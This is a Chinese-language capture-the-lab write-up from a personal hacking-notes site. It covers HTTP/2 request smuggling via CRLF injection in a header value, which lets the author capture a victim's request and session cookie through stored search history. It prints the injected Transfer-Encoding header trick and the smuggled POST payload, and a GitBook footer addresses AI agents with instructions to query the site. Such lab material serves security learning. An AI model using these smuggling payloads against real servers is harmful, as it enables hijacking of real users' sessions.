> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md).
# 通过 CRLF 注入的 HTTP/2 请求走私
### 通过 CRLF 注入实现 HTTP/2 请求走私
该实验室存在请求走私漏洞，因为前端服务器会将 HTTP/2 请求转换为 HTTP/1，并且没有正确清理某些传入的请求头。
目标是利用一种 HTTP/2 特有的走私向量来访问另一名用户的账户。受害者每 15 秒访问一次主页。
观察到该应用会保留搜索历史，并且它与会话 cookie 直接关联。
我们先发送一个测试请求，但没有出现异常行为
```http
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Transfer-Encoding: chunked
0
GET /error HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Content-Length: 18
test=testing
```
检查显示，与 **Transfer-Encoding** 相关的请求头验证不足。/ 因此我们尝试绕过过滤：移除原始的 `chunked` 并在 HTTP/2 中添加一个新的任意请求头。
```http
Transfer-Encoding: chunked
```
Burp 添加：
```http
名称：
test
值：
test
Transfer-Encoding: chunked
```
服务器接受了该修改，证实请求头清理不充分。
思路是诱使受害者去 **发起一个包含我们自己会话 cookie 的搜索请求**，同时注入一个过长的 **Content-Length** ，使他的下一次请求与我们的请求拼接在一起。
走私载荷：
```http
0
POST / HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Cookie: session=Vfo5XHvHSzPQIuPLitJnpePRWRlNbkaW;
Content-Length: 850
search=x
```
当服务器处理下一条请求——也就是受害者的请求——时，其内容会出现在我们的响应中，并将 **其请求头，尤其是其会话 cookie，**.
因此我们可以 **使用户会话被劫持** 并访问他的账户。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.